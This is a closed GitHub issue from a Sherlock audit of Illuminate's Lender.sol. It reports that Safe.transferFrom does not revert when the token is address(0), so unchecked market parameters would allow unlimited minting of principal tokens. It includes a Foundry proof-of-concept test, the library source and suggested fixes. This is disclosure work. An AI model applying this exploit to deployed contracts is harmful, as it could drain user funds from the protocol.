sherlock-audit / 2022-10-illuminate-judging

3 stars 0 forks source link

ctf_sec - IMPORTANT: User can mint arbitrary amount of principle token by passing invalid parameter in the Lender.sol#mint because Safe.transferFrom(IERC20(principal), msg.sender, address(this), a) does not check IERC20 code size. #153

Closed sherlock-admin closed 1 year ago

sherlock-admin commented 1 year ago

ctf_sec

high

IMPORTANT: User can mint arbitrary amount of principle token by passing invalid parameter in the Lender.sol#mint because Safe.transferFrom(IERC20(principal), msg.sender, address(this), a) does not check IERC20 code size.

Summary

User can mint arbitrary amount of principle token by passing invalid parameter in the Lender.sol#mint

Vulnerability Detail

I cannot believe it... but again, we are engineer so do not trust, verify.

Let us look into this code

    function mint(
        uint8 p,
        address u,
        uint256 m,
        uint256 a
    ) external unpaused(u, m, p) returns (bool) {
        // Fetch the desired principal token
        address principal = IMarketPlace(marketPlace).token(u, m, p);

        // Transfer the users principal tokens to the lender contract
        Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);

        // Mint the tokens received from the user
        IERC5095(principalToken(u, m)).authMint(msg.sender, a);

        emit Mint(p, u, m, a);

        return true;
    }

Ok. According to my research if the user just pass in random value of u, m and p, with the user can mint arbitrary amount of principle token.

First of all, this function has a modifier:

unpaused(u, m, p)

If we pass random u, m, p, can we bypass this modifier? Yes, we can. Let us look into the modifier implementation:

    /// @notice reverts on all markets where the paused mapping returns true
    /// @param u address of an underlying asset
    /// @param m maturity (timestamp) of the market
    /// @param p principal value according to the MarketPlace's Principals Enum
    modifier unpaused(
        address u,
        uint256 m,
        uint8 p
    ) {
        if (paused[u][m][p]) {
            revert Exception(1, p, 0, address(0), address(0));
        }
        _;
    }

if we just pass random u, m and p,

paused[u][m][p] is false, which means the modifier below pass.

  if (paused[u][m][p]) {
      revert Exception(1, p, 0, address(0), address(0));
  }

then we see the code execution flow:

        // Fetch the desired principal token
        address principal = IMarketPlace(marketPlace).token(u, m, p);

        // Transfer the users principal tokens to the lender contract
        Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);

        // Mint the tokens received from the user
        IERC5095(principalToken(u, m)).authMint(msg.sender, a);

if we pass in random value of u,m, p, address principle is address(0)

address principal = IMarketPlace(marketPlace).token(u, m, p);

ok. Does this line of code revert?

Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);

Does this line of code revert? Does it revert?

If this line of code does not revert, this means the code execute, which means the user can mint any amount of principle token a.

IERC5095(principalToken(u, m)).authMint(msg.sender, a);

Let me prove this line of code pass...

Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);

I verified both in local foundry and in remix.

Ok for local foundry:

first: create a file: Safe.sol

and copy paste the code into the file

basically we copy the whole Safe.sol library:

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/lib/Safe.sol

// SPDX-License-Identifier: UNLICENSED
// Adapted from: https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol

pragma solidity 0.8.16;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/**
  @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.
  @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol)
  @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer.
*/

library Safe {
    /// @param e Erc20 token to execute the call with
    /// @param t To address
    /// @param a Amount being transferred
    function transfer(
        IERC20 e,
        address t,
        uint256 a
    ) internal {
        bool result;

        assembly {
            // Get a pointer to some free memory.
            let pointer := mload(0x40)

            // Write the abi-encoded calldata to memory piece by piece:
            mstore(
                pointer,
                0xa9059cbb00000000000000000000000000000000000000000000000000000000
            ) // Begin with the function selector.
            mstore(
                add(pointer, 4),
                and(t, 0xffffffffffffffffffffffffffffffffffffffff)
            ) // Mask and append the "to" argument.
            mstore(add(pointer, 36), a) // Finally append the "amount" argument. No mask as it's a full 32 byte value.

            // Call the token and store if it succeeded or not.
            // We use 68 because the calldata length is 4 + 32 * 2.
            result := call(gas(), e, 0, pointer, 68, 0, 0)
        }

        require(success(result), 'transfer failed');
    }

    /// @param e Erc20 token to execute the call with
    /// @param f From address
    /// @param t To address
    /// @param a Amount being transferred
    function transferFrom(
        IERC20 e,
        address f,
        address t,
        uint256 a
    ) internal {
        bool result;

        assembly {
            // Get a pointer to some free memory.
            let pointer := mload(0x40)

            // Write the abi-encoded calldata to memory piece by piece:
            mstore(
                pointer,
                0x23b872dd00000000000000000000000000000000000000000000000000000000
            ) // Begin with the function selector.
            mstore(
                add(pointer, 4),
                and(f, 0xffffffffffffffffffffffffffffffffffffffff)
            ) // Mask and append the "from" argument.
            mstore(
                add(pointer, 36),
                and(t, 0xffffffffffffffffffffffffffffffffffffffff)
            ) // Mask and append the "to" argument.
            mstore(add(pointer, 68), a) // Finally append the "amount" argument. No mask as it's a full 32 byte value.

            // Call the token and store if it succeeded or not.
            // We use 100 because the calldata length is 4 + 32 * 3.
            result := call(gas(), e, 0, pointer, 100, 0, 0)
        }

        require(success(result), 'transfer from failed');
    }

    /// @notice normalize the acceptable values of true or null vs the unacceptable value of false (or something malformed)
    /// @param r Return value from the assembly `call()` to Erc20['selector']
    function success(bool r) private pure returns (bool) {
        bool result;

        assembly {
            // Get how many bytes the call returned.
            let returnDataSize := returndatasize()

            // If the call reverted:
            if iszero(r) {
                // Copy the revert message into memory.
                returndatacopy(0, 0, returnDataSize)

                // Revert with the same message.
                revert(0, returnDataSize)
            }

            switch returnDataSize
            case 32 {
                // Copy the return data into memory.
                returndatacopy(0, 0, returnDataSize)

                // Set success to whether it returned true.
                result := iszero(iszero(mload(0)))
            }
            case 0 {
                // There was no return data.
                result := 1
            }
            default {
                // It returned some malformed input.
                result := 0
            }
        }

        return result;
    }

    function approve(
        IERC20 token,
        address to,
        uint256 amount
    ) internal {
        bool callStatus;

        assembly {
            // Get a pointer to some free memory.
            let freeMemoryPointer := mload(0x40)

            // Write the abi-encoded calldata to memory piece by piece:
            mstore(
                freeMemoryPointer,
                0x095ea7b300000000000000000000000000000000000000000000000000000000
            ) // Begin with the function selector.
            mstore(
                add(freeMemoryPointer, 4),
                and(to, 0xffffffffffffffffffffffffffffffffffffffff)
            ) // Mask and append the "to" argument.
            mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.

            // Call the token and store if it succeeded or not.
            // We use 68 because the calldata length is 4 + 32 * 2.
            callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
        }

        require(didLastOptionalReturnCallSucceed(callStatus), 'APPROVE_FAILED');
    }

    /*///////////////////////////////////////////////////////////////
                         INTERNAL HELPER LOGIC
    //////////////////////////////////////////////////////////////*/

    function didLastOptionalReturnCallSucceed(bool callStatus)
        private
        pure
        returns (bool)
    {
        bool result;
        assembly {
            // Get how many bytes the call returned.
            let returnDataSize := returndatasize()

            // If the call reverted:
            if iszero(callStatus) {
                // Copy the revert message into memory.
                returndatacopy(0, 0, returnDataSize)

                // Revert with the same message.
                revert(0, returnDataSize)
            }

            switch returnDataSize
            case 32 {
                // Copy the return data into memory.
                returndatacopy(0, 0, returnDataSize)

                // Set success to whether it returned true.
                result := iszero(iszero(mload(0)))
            }
            case 0 {
                // There was no return data.
                result := 1
            }
            default {
                // It returned some malformed input.
                result := 0
            }
        }

        return result;
    }
}

Then we create a Lender.sol

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.16;

import "./Safe.sol";

contract Lender {

    function mint(
        uint8 p,
        address u,
        uint256 m,
        uint256 a
    ) external returns (bool) {
        // Fetch the desired principal token
        address principal = address(0);

        // Transfer the users principal tokens to the lender contract
        Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);

    }
}

then we add the test file:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/Lender.sol";

contract CounterTest is Test {

    Lender public lender;

    function setUp() public {
        lender = new Lender();
    }

    function testDoesNotRevertOnInvalidTransfer_POC() public {

         // invalid principle token index
        uint8 p = 10;

        // random address
        address u = address(this);

         // random maturity
        uint256 m = 1000;

         // large amount of token to be minted
        uint256 a = 100000 ether;

        // magic happens....
        lender.mint(p, u, m, a);
    }

}

Then we run the test:

forge test

the result is

Running 1 test for test/POC.t.sol:LenderTest
[PASS] testDoesNotRevertOnInvalidTransfer_POC() (gas: 8631)

Please free feel to download this folder and compile and run it locally.

https://drive.google.com/file/d/1-s4C7sjPa7D21wKm3W6Oyep2hYjlzY9U/view?usp=sharing

Impact

Clearly, hacker can mint infinite number of principle to redeem all the money from Redeemer.sol

Code Snippet

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L263-L289

Tool used

Manual Review, Foundry

Recommendation

Well, please verify the input carefully before the mint

 // Fetch the desired principal token
        address principal = IMarketPlace(marketPlace).token(u, m, p);
        if(principle == address(0)) revert EmptyAddress();

          if (
            p != uint8(MarketPlace.Principals.Illuminate) &&
            p != uint8(MarketPlace.Principals.Yield) && .... 
            // list go on
        )

the root cause is Safe.transferFrom does not check if the IERC20(principle) code size, so it even works in address(0)

    // Transfer the users principal tokens to the lender contract
    Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);

I think using openzepplin safeTransfer should do the job!

Also, any place that use Safe.transferFrom(IERC20(principal), msg.sender, address(this), a) in the codebase needs to remain caution. This line of code may sliently pass and bring critical critical bugs.

Duplicate of #238